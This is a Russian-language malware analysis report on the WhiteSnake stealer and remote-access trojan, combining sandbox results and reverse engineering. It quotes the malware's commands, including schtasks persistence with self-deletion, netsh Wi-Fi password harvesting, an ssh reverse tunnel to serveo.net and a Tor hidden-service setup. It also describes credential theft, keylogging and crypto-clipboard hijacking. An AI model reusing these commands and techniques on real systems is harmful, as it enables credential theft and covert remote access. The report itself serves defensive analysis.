Отчет по анализу «WhiteSnake»
На анализ в систему Афина пришел исполняемый файл с расширением .exe. Общая информация собранная по файлу представленная в таблице Таблица 1.
.png)
Исследование файла в системе ATHENA
Исследования файла происходило с помощью системы ATHENA и ручного исследования (реверс-инжиниринг). Для начала посмотрим на статический и динамический анализ файл в системе ATHENA
1. Статическое исследование
При проверке антивирусными движками была обнаружена сигнату-ра трояна.
Во вкладке «Индикаторы» видно, что обнаружено совпадение сигнатуры системным YARA-правилом: BitRAT. В том числе, информационный системный индикатор «Цифровая подпись: Несовпадение контрольной суммы PE файла».
Во вкладке «Машинное обучение» видим, что моделями машинного обучения исследуемому файлу присвоен уровень опасности 62%. Подозрительный вердикт по градации оценивается от 90%, этот параметр можем изменить в настройках работы системы, однако текущая градация является оптимальной для работы системы.
Во вкладке «Источники вердикта» можем ознакомиться, каким образом был сформирован вердикт для проверяемого файла.
Динамическое исследование
В результате провидения динамического анализ в системе ATHENA выявлены сразу множество индикаторов по собранным событиям в песочнице (вредоносные и подозрительные):
1) Кража пользовательских данных из файлов FTP-клиента – ПО читает файлы FTP-клиента с конфиденциальной информацией пользователя (FileZilla, CoreFTP и т.п.).
2) Кража пользовательских данных из файлов VPN-клиента – ПО читает файлы VPN-клиента с конфиденциальной информацией пользователя (OpenVPN, WireGuard и т.п.).
3) Кража пользовательских данных из файлов браузера – ПО читает файлы браузера с конфиденциальной информацией пользователя.
4) Кража пользовательских данных из файлов почтового приложения – ПО читает файлы почтового клиента с конфиденциальной информацией пользователя (Outlook, Thunderbird и т.п.)
5) Группа индикаторов: Adware.Downware – в ходе исследования ПО создало свой же исполняемый экземпляр в иной системной директории, а текущий экземпляр был удален.
6) Планирование заданий в планировщике задач Windows – при помощи системной утилиты schtasks вирус создает отложенную задачу для собственного запуска.
7) Удаление файлов с помощью cmd.exe – вирус удалил текущий (запущенный) экземпляр.
8) Чтение файлов cookies – ПО читает cookies-файлы браузера, что может быть использовано для кражи учётных данных пользователя.
9) Проверка наличия отладки – ПО использует функции из библиотеки ntdll.dll для проверки наличия отладчика.
10) Установка таймаута на выполнение программы – ПО устанавливает таймаут на выполнение программы.
В ходе исследования ВПО создавало файлы и перемещалось, на скриншоте видно, что был удален запущенный экземпляр и создан в директории
«C:\Users\Ivan\AppData\Local\Starlabs\Задолженность ФНС.exe»
В реестре внесены изменения, из интересного в реестр \REGISTRY\MACHINE\SOFTWARE\Microsoft\Tracing\ внесены изменения, перенаправляющие вывод из консоли ВПО в созданный файл логирования:
C:\Users\Ivan\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Задолженность ФНС.exe.log
В том числе, ВПО устанавливало соединения и отправляло пакеты в сети.
Можем отметить, что собранные на машине данные были отправлены на подконтрольный сервер злоумышленника в HTTP-трафике:
Все собранные дампы (процесса и созданных файлов) отображаются в блоке «Дампы». Каждый дамп проверяется в статическом исследовании.
Все события, полученные дампы, созданные соединения объединяются в общий вердикт по динамическому исследованию:
Детальное исследование файла
Открыв файл в отладчике, можем наблюдать, что практически все строки обернуты в функцию:
Сама функция, представляет собой гаммирование при помощи XOR c перебором всех печатаемых ASCII-символов (по таблице от 32 до 126), таким образом, чтобы результат операции XOR над входной строкой начинался с префикса «veew:». Если по результатам операции формируется соответствующий префикс, то он отбрасывается.
После дешифровки всех строк, перейдем к точке входа в приложение и разберем последовательность его действий:
ВПО устанавливает TLS 1.2 версии и создает отладчик, собирающий все ошибки в файл логирования, который автоматически создается в системной директории «%TEMP%». У ВПО также имеются инструкции по созданию окна с сообщением, трех типов: информационное, предупреждение и ошибки.
Далее, выполняются инструкции проверки мьютекса, чтобы предотвратить одновременное исполнение двух экземпляров ВПО. Значение мьютекса берется из конфигурации:
После чего, ВПО создает запросы при помощи WMI при помощи пространства имен «root\CIMV2»:
Запрашиваемые параметры в WMI:
После чего, полученные значения сравниваются с массивом строк, содержащем в себе стандартные значения для виртуальных окружений:
При обнаружении последнего, исполняемый процесс завершается, в ином случае, когда заражена реальная машина вызывается метод для закрепления в системе, который создает файл в системной директории
C:\Users\<user>\AppData\Roaming\<folder_name_config>
с правами на чтение, без возможности редактирования и удаления, а также хранит инструкции для создания задачи: при помощи планировщика задач Windows с правами «HIGHEST» либо «LIMITED», удаляет оригинал, который был запущен, а далее запускает копию:
/C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "<MalwareFileNameWithounExtension>" /sc MINUTE /tr "<MalwareFilePath>" /rl LIMITED /f && DEL /F /S /Q /A " MalwareFilePath" &&START "<MalwareFilePath>"
ВПО собирает сведения о машине, на которой был запущен:
Пример собираемых сведений представлен в таблице:
.png)
Стиллер собирает данные веб-браузеров по шаблонному пути: %LocalAppData%\<BrowserFolder>\User Data
Для браузера Opera (и Opera GX) извлекаются данные из директории:
%LocalAppData%\Opera Software\Opera Stable\Default
Для браузеров на движке Gecko (на базе Firefox) данные извлекаются из директории:
%AppData%\<Browser Folder>\Profiles
В том числе, собирается информация об установленных расширениях в браузере, собранная информация помещается
В ВПО реализован кейлоггер, который подгружает динамические библиотеки при помощи вызова отдельного метода, вместе со созданием потока с обработчиком событий. Собранные сведения с клавиатуры жертвы пишутся в создаваемую директорию в формате dd-mm-yyyy.
В конфигурации ВПО прописываются адреса криптокошельков для различных монет: Monero, Bitcoin, Bitcoin Cash, Zcash, Ethereum, Doge, Litecoin, Tron, Ripple, Dash, Neo, Stellar Lumens, Binance, Solana, Algory Project, которые будут подменяться в буфере обмена у жертвы.
Для работы «угонщика буфера» Запускается поток, вместе с обработчиком буфера обмена, он валидирует значение буфера: если больше 21, то сопоставляет с регулярным выражением, для определения типа кошелька. После определения типа кошелька, из конфигурации достается адрес нужного кошелька и заменяется значение буфера. Общий цикл работы представлен на рисунке:
В том числе, ПО выполняет поиск на машине жертвы подключённых холодных (аппаратных) криптокошельков.
Проверяется наличие процесса trezor
на машине жертвы, в том числе, создается web-запрос 127.0.0.1:21325/enumerate
, а также проверяется путь в системной директории %AppData%\TREZOR Bridge\
Кроме trezor-а на машине жертвы проверяется наличие Ledger
ВПО собирает данные почтовых приложений, проверяет директории «Apps\Outlook», после чего вызывается метод, который поочередно открывает ключи реестра:
.png)
При наличии директории «Apps\Foxmail» извлекаются данные пользователя из поддиректорий «Storage» и «Accounts» приложения.
Дополнительно, в файле конфигурации указываются пути и расширения файлов, которые также будут украдены.
.png)
В том числе, ВПО собирает информацию по сетевым профилям компьютера жертвы при помощи терминальной команды:
chcp 65001 && netsh wlan show profiles|findstr /R /C:\"[ ]:[ ]"
«chcp 65001» устанавливает текущую кодировку «UTF-8», после чего последовательно выполняется команда «netsh wlan show profiles|findstr /R /C:\"[ ]:[ ]"», которая позволяет собрать профили Wi-Fi хранящиеся в системе.
При обнаружении профилей, выполняются инструкции извлечения сохраненных имен профилей и паролей от них. Полученные сведений сохраняются в файл «Apps\WifiCredentials.txt».
В том числе, ВПО собирает не только сетевые профили машины жертвы, а также доступные Wi-Fi сети поблизости, извлекаются данные о их именах (SSID), уникальных идентификаторах (BSSID) и уровне сигнала.
chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
Полученные сведения сохраняются в файл «Apps\WifiNearby.txt».
В том числе, ВПО собирает информацию об установленных приложениях на машине жертвы, при помощи обращения в реестр
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
ВПО собирает информацию о машине жертвы, в том числе IP-адрес машины жертвы, и страны нахождения при помощи http-запроса на ресурс http://ip-api[.]com/line?fields=query,counrty .
Поскольку это вирус удаленного доступа, в нем реализована работа с терминалом злоумышленника, который при помощи словаря проверяет полученные команды:
Список всех доступных команд для взаимодействия с машиной жертвы представлен в таблице ниже:
.png)
При получении команды «PING» с управляющего сервера формируется строка с ответом «PONG» и массива с именем запущенного экземпляра ВПО и данных собранных кейлоггером
При получении команды «UNINSTALLY» с управляющего сервера запускается метод самоудаления ВПО: удаляется текущий (запущенный) экземпляр вредоноса и завершается исполняемый процесс.
Полученная команда «REFRESH» отправляет на сервер злоумышленника повторно собранные данные о машине жертвы, представленные в таблице 2.
При получении команды «SCREENSHOT» ВПО создает снимок экранов с машины жертвы, полученный скриншот отправляется на сервер злоумышленника.
При получении команды «NETDISCOVER» на сервер злоумышленника отправляются повторно собранные сведения, полученные при запуске команд
chcp 65001 && netsh wlan show profiles|findstr /R /C:\"[ ]:[ ]"
netsh wlan show profiles|findstr /R /C:\"[ ]:[ ]"
chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
При получении команды «DPAPI» вызывает метод для дешифрования при помощи Widnows Data Protection API – CryptoProtectData. В качестве аргумента команды передаются данные, требующие дешифрования с машины жертвы.
При получении команды «WEBCAM» вызывается метод подгрузки динамических библиотек для взаимодействия с периферией. Выполняется WQL запрос, на получение устройств типа «Camera», если соответствующие устройства периферии находятся, то выполняются последующие инструкции с захватом изображения и отправкой его злоумышленнику.
Практически аналогично запускается функция для снятия звука с микрофона жертвы, однако она не выполняется по команде с удаленного терминала. Полученные данные, записываются на машине жертвы в случайно сгенерированную строку с расширением файла «.wav», с дальнейшей отправкой злоумышленнику.
При получении команды «COMPRESS» выполняются инструкции по архивированию файла. Файл для архивации передается в качестве аргумента метода. Дополнительно производятся проверки на существование файла и наличие права на работу в директории.
При получении команды «DECOMPRESS» выполняются инструкции по извлечению содержимого архива, с аналогичными проверками.
При получении команды «TRANSFER» выполняется отправка файла с машины жертвы С2С сервера злоумышленника при помощи протокола HTTP с методом «PUT». В качестве адресата перебирается массив серверов, указанных в конфигурации ВПО, если узел недоступен берется следующий адрес.
При получении команды «GET_FILE» возвращается закодированная base64 строка, содержащая в себе байты запрашиваемого в качестве аргумента файла:
При получении команды «LIST_FILES» собирается информация о файлах в текущей директории:
При получении команды «LIST_PROCESSES» собирается информация о запущенных процессах в реальном времени:
При получении команды «EXPOSE» запускается прокси-сервер на машине жертвы. На выбор возможна реализации посредством протокола SSH и протокола Serveo либо TOR, в зависимости от того, что было указано в конфигурации.
В случае, если это SSH, то выполняется проверка, существует ли SSH на машине жертвы по ключам реестра и по стандартной директории установки.
Стандартный путь: «OpenSSH-Win32\ssh.exe»
Стандартный реестр: «SOFTWARE\OpenSSH»
Если утилита SSH ранее не устанавливался на машине, то устанавливает его с официального репозитория GitHub:
https://github[.]com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip
Скачанный архив помещается в директорию %TEMP%.
В качестве аргументов в метод передаются внутренний порт, адрес машины и внешний порт, которые передаются в терминальную команду для запуска сервиса Serveo:
ssh.exe -o "StrictHostKeyChecking=no" –R 80:127.0.0.1:80 serveo.net
Также, возможна реализация разворачивания прокси-сервера посредством протокола TOR. Происходит аналогичная проверка на наличие TOR на машине жертвы:
%LOCALAPPDATA%/zxqaiiy6en/tor/tor-real.exe
Если файл не найден, то вызывается метод для его установки с репозитория GitHub:
https://github[.]com/matinrco/tor/releases/download/v0.4.5.10/tor-expert-bundle-v0.4.5.10.zip
Скачанный архив помещается в директорию %TEMP%.
После установки выполняется создание конфигурационного файла TOR: %LOCALAPPDATA%/zxqaiiy6en/tor/torrc.txt
В созданный файл помещаются следующие значения:
SOCKSPort <port> + 1
ControlPort <port> + 2
DataDirectory %LOCALAPPDATA%/zxqaiiy6en/tor/data
HiddenServiceDir %LOCALAPPDATA%/zxqaiiy6en/tor/host
HiddenServicePort 80 127.0.0.1:<port>
HiddenServiceVersion 3
Переменная
%LOCALAPPDATA%/zxqaiiy6en/tor/tor-real.exe -f '%LOCALAPPDATA%/zxqaiiy6en/tor/torrc.txt'
При получении команды «PROXY_SETUP» аналогично с TOR выполняется метод, который проверяет наличие установленного SOCKS5 прокси на машине жертвы в директории:
%LOCALAPPDATA%/zxqaiiy6en/proxy.exe
Однако скачивание файла не вынесено в отдельную функцию. Скачивание происходит аналогично с GitHub репозитория:
https://github[.]com/wzshiming/socks5/releases/download/v0.4.2/socks5_windows_amd64.exe
После скачивания SOCKS5 прокси, генерируется номер порта в диапазоне от 6000 до 19000 и выполняются терминальные команды:
proxy.exe –a 127.0.0.1 <random port>
ssh.exe -o "StrictHostKeyChecking=no" –R <random port>:127.0.0.1:80 serveo.net
При получении команд «LOADEXEC» и «LOADER» выполняются инструкции по загрузке файла при помощи объекта URI, скачанный файл помещается в папке к текущему (запущенному) экземпляру ВПО.
Но разница у них в том, что команда «LOADEXEC» сразу же запускает файл, который был загружен на машину жертвы:
При получении команды «CD» меняется текущая директория в консоли у злоумышленника:
В случае, если отправляемая команда не была обработана, то она отправляется в терминал на машину жертвы:
Собранные данные жертвы собираются в файл с расширением WSR. Сериализуются в XML-формате, после чего выполняются инструкции по их шифрованию и сжатию при помощи алгоритма RS4 со случайным ключом, при этом, если в конфигурации указано, что шифрование происходит при помощи RS4 и RSA, ключ от RS4 шифруется через RSA и сохраняется в конфигурации
Сформированный файл с компьютера жертвы отправляется на подконтрольные C2C сервера, прописанные в файле конфигурации.
После того, как данные были отправлены на подконтрольные сервер, формируется второй «отчет» через Телеграм-бота, который отправляется в чат злоумышленнику:
Информация о компрометации
.png)